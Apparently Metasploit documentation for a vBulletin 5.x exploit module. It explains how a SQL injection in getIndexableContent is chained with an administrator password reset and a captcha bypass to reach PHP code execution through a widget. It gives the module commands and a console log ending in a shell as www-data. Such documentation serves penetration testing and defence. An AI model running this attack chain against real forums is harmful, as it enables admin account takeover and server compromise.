## Vulnerable Application

  [vBulletin](https://www.vbulletin.com) A popular PHP bulletin board and blog web application.
  This module has been tested successfully against vBulletin 5.6.1 running on Ubuntu Linux 19.04

### Description

This module exploits a SQL injection vulnerability present in vBulletin 5.2.0 through 5.6.1 in the
`getIndexableContent` function. This vulnerability is triggered through the `nodeId` variable and
can be reached through multiple paths (listed below) but is exploited in this module utilizing the
`/ajax/api/content_infraction/getIndexableContent` path.

- /ajax/api/content_video/getIndexableContent
- /ajax/api/content_text/getIndexableContent
- /ajax/api/content_report/getIndexableContent
- /ajax/api/content_redirect/getIndexableContent
- /ajax/api/content_privatemessage/getIndexableContent
- /ajax/api/content_poll/getIndexableContent
- /ajax/api/content_photo/getIndexableContent
- /ajax/api/content_link/getIndexableContent
- /ajax/api/content_infraction/getIndexableContent
- /ajax/api/content_gallery/getIndexableContent
- /ajax/api/content_event/getIndexableContent
- /ajax/api/content_channel/getIndexableContent
- /ajax/api/content_attach/getIndexableContent

Each path listed above reaches the `getIndexableContent` function within the `/core/vb/library/content.php`
file. The SQL injection attack used utilizes a UNION query in order to leak data back in the response
`rawtext` field.

#### Leveraging getContentIndexable SQL injection for RCE

The exploit begins by attempting to get a `nodeid` for use in the SQL injection attack, this can be supplied
by the user within the `NODE` module option, or if not supplied, the value is brute-forced within the bounds
of the `MINNODE` and `MAXNODE` module options. After acquiring a valid `nodeid`, the exploit attempts to obtain
the vBulletin install's table prefix. This is done by using the `getIndexableContent` SQL injection vulnerability
to query the `INFORMATION_SCHEMA` table and get a result we expect (to determine if there is a prefix attached).
In the module we use the `language` table for this process. After getting the table prefix we can begin dumping
the table data, we start with the administrator user id, username, token, and email. These are used later in the
process to make a lost password request and can also be used to backup the administrator user's data prior to the
destructive change that will happen when the password is changed later in the module. After acquiring the
administrator info the script begins the to gather other pieces needed to submit a lost password request. This
part can vary between installs but involves a form of "human verification" along with an administrator's email.
The module will attempt to determine the human verification (or captcha) type, then determine if a bypass or solve
is possible. There are 4 total types of human verification, an image (GD or ImageMagic based), a Question/Answer
(which is stored as a regular expression), Recaptcha2 (an external api based captcha), and disabled.

- If an `Image` (GD or ImageMagic based) human verification is selected, the module can bypass it and requires
no interaction. This is done by querying the database for the image contents using the SQL injection vulnerability.

- If the `Question/Answer` human verification is selected, the module will attempt to submit the answer retrieved
from the database utilizing the SQL injection vulnerability. This can sometimes fail and require manual intervention
if a complex regular expression is used but the answer is provided through the modules output.

- If the `Recaptcha2` human verification method is selected, the module will fail with a message along with an
administrators email to use for a lost password request.

- If `Disabled` is chosen, the script will work without action.

After bypassing the human verification the script will attempt to send a lost password request, this will send
an email to the administrator. If the human verification request fails, the module can be configured to skip the
human verification and lost password steps. This is done by setting the modules `MANUALLOSTPASS` option to true,
**this however does require that just prior to running the exploit the lost password request is made**. If the
administrator completes the request, the activation token will be removed from the database and the next step of
the reset will fail. After the lost password request is made, the module then attempts to retrieve the Activation
ID from the database using the SQL injection vulnerability. When all of the above is completed, the administrators
password can finally be reset. The password is changed to a random 10-16 character alphanumeric password which is
displayed in the modules output.

The module can now begin to leverage the administrator access for remote command execution. This begins by first creating
a new widget instance, this widget instance is of a `widget_php` type (a special type that allows for php code embedded
within). After the widget instance is created, the module then attempts to modify the widget to add our selected payload.
The widget is then ready to use and is added to a new page. This page is created with a randomly generated 10 to 16
character alphanumeric url. The payload and attack is then ready to execute and the module makes a final request in the
attack process to execute the PHP payload. Upon successful completion, the page is deleted from the vBulletin install.

## Verification Steps

1. Do: ```use exploit/multi/http/vbulletin_getindexablecontent```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set VHOST [HOSTNAME]```
4. Do: ```set TARGETURI [PATH]```
5. Do: ```set PAYLOAD [PAYLOADNUM]```
6. Do: ```run```

## Options

### MANUALLOSTPASS

A boolean value used to determine if the lost password request should be automated or will be performed manually. **Default: false**

### NODE

A valid node id value for the vBulletin install. When provided, this value is used instead of that acquired by brute-forcing.

### MINNODE

A minimum nodeid value to begin with when brute-forcing for a valid node id. **Default: 1**

### MAXNODE

A maximum nodeid value to end with when brute-forcing for a valid node id. **Default: 200**

### TARGETURI

The base URI path of vBulletin. **Default: /**

## Scenarios

```
msf > use exploit/multi/http/vbulletin_getindexablecontent 
msf exploit(multi/http/vbulletin_getindexablecontent) > set RHOSTS vb.local
RHOSTS => vb.local
msf exploit(multi/http/vbulletin_getindexablecontent) > set VHOST vb.local
VHOST => vb.local
msf exploit(multi/http/vbulletin_getindexablecontent) > set TARGETURI /vb5
TARGETURI => /vb5
msf exploit(multi/http/vbulletin_getindexablecontent) > set PAYLOAD 2
msf exploit(multi/http/vbulletin_getindexablecontent) > check
[*] 192.168.1.100:80 - The target appears to be vulnerable.
msf exploit(multi/http/vbulletin_getindexablecontent) > run

[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Brute forcing to find a valid node id.
[+] Successfully found node at id 1
[*] Attempting to determine the vBulletin table prefix.
[*] Performing SQL injection on target to retrieve 'table_name' from 'information_schema.columns'.
[+] Successfully retrieved table to get prefix from vb5_language.
[*] Performing SQL injection on target to retrieve 'userid' from 'vb5_administrator'.
[*] Performing SQL injection on target to retrieve 'username' from 'vb5_user'.
[*] Performing SQL injection on target to retrieve 'token' from 'vb5_user'.
[*] Performing SQL injection on target to retrieve 'email' from 'vb5_user'.
[+] Retrieved administrator uid: 1 user: administrator email: zenofex@exploitee.rs and password: $2y$15$IKz0ra/N2WrJr4BZZMExIOwIET.4Tz8Wni20BMEHjG/A.k9tuOK.W
[*] Sending request to '/vb5/ajax/api/hv/fetchHvType' to get human verification type.
[+] Retrieved HV/captcha type of 'Image'.
[*] Making request to '/vb5/ajax/api/hv/generateToken' to retrieve HV token.
[+] Retrieved '85885c3fafb61b91cb3d2959e13ffe07' human verification token.
[*] Using HV token '85885c3fafb61b91cb3d2959e13ffe07' and SQLinjection to determine HV answer.
[*] Performing SQL injection on target to retrieve 'answer' from 'vb5_humanverify'.
[+] Retrieved '4w8CPc' answer to HV token '85885c3fafb61b91cb3d2959e13ffe07'.
[*] Making request to '/vb5/auth/lostpw' to begin lost password process.
[*] Performing SQL injection on target to retrieve 'activationid' from 'vb5_useractivation'.
[*] Sending reset password request to '/vb5/auth/reset-password'.
[+] User with userid '1' successfully reset password to 'dSxTtxI7yh'.
[*] Making login request to '/vb5/auth/ajax-login' with username: 'administrator' and password: 'dSxTtxI7yh'.
[+] Successfully logged in as administrator .
[*] Making request to '/vb5/ajax/activate-sitebuilder' to activate site-builder functionality.
[+] Successfully enabled site-builder functionality.
[*] Making login request to '/vb5/auth/ajax-login' with username: 'administrator' and password: 'dSxTtxI7yh'.
[+] Successfully logged in as administrator cplogin.
[*] Making request to '/vb5/ajax/api/widget/saveNewWidgetInstance' to create new widget.
[+] Created new widget instance.
[*] Making request to '/vb5/ajax/api/widget/saveAdminConfig' to add payload to widget.
[+] Successfully added payload to widget.
[*] Sending request to '/vb5/admin/savepage' to save new page at 'OToB9nTU'.
[+] Page successfully create and should be accessible at '/vb5/OToB9nTU'.
[+] Executing PHP payload (230 bytes) at /vb5/OToB9nTU.
[*] Sending request to '/vb5/OToB9nTU' to execute payload.
[*] Sending delete page request to '/vb5/ajax/api/page/delete'.
[+] Successfully deleted page with pageid: 148
[*] Started bind TCP handler against 192.168.1.100:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.100:4444) at 2020-05-22 21:24:42 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
